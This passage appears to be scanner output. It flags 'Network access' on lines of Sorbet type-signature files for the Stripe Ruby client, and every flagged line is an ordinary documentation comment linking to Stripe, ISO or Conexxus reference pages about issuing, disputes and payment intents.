    def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.             sig { returns(T.nilable(String)) }
  • Network accessline 134
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 203
    sig { params(_amount: Integer).returns(Integer) }           def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t
  • Network accessline 204
    def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie
  • Network accessline 205
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 220
    def initialize(amount: nil, categories: nil, interval: nil); end         end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All
  • Network accessline 221
    end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories
  • Network accessline 222
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 234
    }         def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al
  • Network accessline 235
    def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca
  • Network accessline 236
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 305
    }       def individual=(_individual); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 306
    def individual=(_individual); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 307
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 312
    }       def metadata=(_metadata); end       # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details.
  • Network accessline 313
    def metadata=(_metadata); end       # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details.       si
  • Network accessline 314
    # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details.
  • Network accessline 318
    def phone_number=(_phone_number); end       # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.str
  • Network accessline 319
    # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass
  • Network accessline 320
    #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder.
  • Network accessline 325
    }       def preferred_locales=(_preferred_locales); end       # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 326
    def preferred_locales=(_preferred_locales); end       # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.       sig { retur
  • Network accessline 327
    # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_create_params.rbi

  • Network accessline 8
    class Evidence < ::Stripe::RequestParams         class Canceled < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 9
    class Canceled < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 10
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 87
    end         class Duplicate < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 88
    class Duplicate < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 89
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 92
    sig { params(_additional_documentation: T.nilable(String)).returns(T.nilable(String)) }           def additional_documentation=(_additional_documentation); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) 
  • Network accessline 93
    def additional_documentation=(_additional_documentation); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.           sig { ret
  • Network accessline 94
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.
  • Network accessline 97
    sig { params(_card_statement: T.nilable(String)).returns(T.nilable(String)) }           def card_statement=(_card_statement); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing th
  • Network accessline 98
    def card_statement=(_card_statement); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.           sig { returns(T.nilable(String)) }
  • Network accessline 99
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.
  • Network accessline 102
    sig { params(_cash_receipt: T.nilable(String)).returns(T.nilable(String)) }           def cash_receipt=(_cash_receipt); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the c
  • Network accessline 103
    def cash_receipt=(_cash_receipt); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.           sig { returns(T.nilable(String)) 
  • Network accessline 104
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.
  • Network accessline 130
    end         class Fraudulent < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 131
    class Fraudulent < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 132
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 146
    end         class MerchandiseNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 147
    class MerchandiseNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 148
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 195
    end         class NoValidAuthorization < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 196
    class NoValidAuthorization < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 197
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 211
    end         class NotReceived < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 212
    class NotReceived < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 213
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 252
    end         class Other < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 253
    class Other < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 254
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 285
    end         class ServiceNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 286
    class ServiceNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 287
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 420
    def initialize(received_debit: nil); end       end       # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount.
  • Network accessline 421
    end       # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount.       sig { returns(T.nilable(Integer)) }
  • Network accessline 422
    # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount.
  • Network accessline 437
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 438
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 439
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_submit_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 12
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_update_params.rbi

  • Network accessline 8
    class Evidence < ::Stripe::RequestParams         class Canceled < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 9
    class Canceled < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 10
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 87
    end         class Duplicate < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 88
    class Duplicate < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 89
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 92
    sig { params(_additional_documentation: T.nilable(String)).returns(T.nilable(String)) }           def additional_documentation=(_additional_documentation); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) 
  • Network accessline 93
    def additional_documentation=(_additional_documentation); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.           sig { ret
  • Network accessline 94
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.
  • Network accessline 97
    sig { params(_card_statement: T.nilable(String)).returns(T.nilable(String)) }           def card_statement=(_card_statement); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing th
  • Network accessline 98
    def card_statement=(_card_statement); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.           sig { returns(T.nilable(String)) }
  • Network accessline 99
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.
  • Network accessline 102
    sig { params(_cash_receipt: T.nilable(String)).returns(T.nilable(String)) }           def cash_receipt=(_cash_receipt); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the c
  • Network accessline 103
    def cash_receipt=(_cash_receipt); end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.           sig { returns(T.nilable(String)) 
  • Network accessline 104
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.
  • Network accessline 130
    end         class Fraudulent < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 131
    class Fraudulent < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 132
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 146
    end         class MerchandiseNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 147
    class MerchandiseNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 148
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 195
    end         class NoValidAuthorization < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 196
    class NoValidAuthorization < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 197
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 211
    end         class NotReceived < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 212
    class NotReceived < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 213
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 252
    end         class Other < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 253
    class Other < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 254
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 285
    end         class ServiceNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 286
    class ServiceNotAsDescribed < ::Stripe::RequestParams           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(String)) }
  • Network accessline 287
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 411
    ); end       end       # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 412
    end       # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(T.nilable(Integer)) }
  • Network accessline 413
    # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 428
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 429
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 430
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_create_params.rbi

  • Network accessline 68
    sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) }       def lookup_key=(_lookup_key); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful fo
  • Network accessline 69
    def lookup_key=(_lookup_key); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 70
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_update_params.rbi

  • Network accessline 70
    sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) }       def lookup_key=(_lookup_key); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful fo
  • Network accessline 71
    def lookup_key=(_lookup_key); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 72
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_create_force_capture_params.rbi

  • Network accessline 7
    class TransactionCreateForceCaptureParams < ::Stripe::RequestParams       class MerchantData < ::Stripe::RequestParams         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/
  • Network accessline 8
    class MerchantData < ::Stripe::RequestParams         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.         sig { 
  • Network accessline 9
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 296
    end         class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 297
    class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.           sig { returns(T.nilable(String
  • Network accessline 298
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 434
    ); end       end       # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 435
    end       # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Intege
  • Network accessline 436
    # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 444
    sig { params(_card: String).returns(String) }       def card=(_card); end       # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-cod
  • Network accessline 445
    def card=(_card); end       # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currenc
  • Network accessline 446
    # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_create_unlinked_refund_params.rbi

  • Network accessline 7
    class TransactionCreateUnlinkedRefundParams < ::Stripe::RequestParams       class MerchantData < ::Stripe::RequestParams         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.co
  • Network accessline 8
    class MerchantData < ::Stripe::RequestParams         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.         sig { 
  • Network accessline 9
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 296
    end         class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 297
    class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.           sig { returns(T.nilable(String
  • Network accessline 298
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 434
    ); end       end       # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 435
    end       # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Integer
  • Network accessline 436
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 444
    sig { params(_card: String).returns(String) }       def card=(_card); end       # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-curr
  • Network accessline 445
    def card=(_card); end       # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported
  • Network accessline 446
    # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_refund_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards curre
  • Network accessline 12
    def expand=(_expand); end       # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).      
  • Network accessline 13
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_update_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 12
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_apply_customer_balance_params.rbi

  • Network accessline 7
    # Amount that you intend to apply to this PaymentIntent from the customer’s cash balance. If the PaymentIntent was created by an Invoice, the full amount of the PaymentIntent is applied regardless of this parameter.     #     # A positive i
  • Network accessline 8
    #     # A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maxi
  • Network accessline 9
    # A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maximum am
  • Network accessline 14
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](htt
  • Network accessline 15
    def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.nilable(String)) }
  • Network accessline 16
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_capture_params.rbi

  • Network accessline 120
    end         class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate
  • Network accessline 121
    class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq
  • Network accessline 122
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 130
    def initialize(total_tax_amount: nil); end         end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 131
    end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.         #
  • Network accessline 132
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 170
    }         def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 171
    def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.         sig { returns(I
  • Network accessline 172
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 195
    end       class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or 
  • Network accessline 196
    class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0
  • Network accessline 197
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 218
    end       class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than 
  • Network accessline 219
    class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t
  • Network accessline 220
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 228
    def initialize(total_tax_amount: nil); end       end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 229
    end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.       #
  • Network accessline 230
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 268
    class Inputs < ::Stripe::RequestParams         class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 269
    class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id           sig { returns(String) }
  • Network accessline 270
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 337
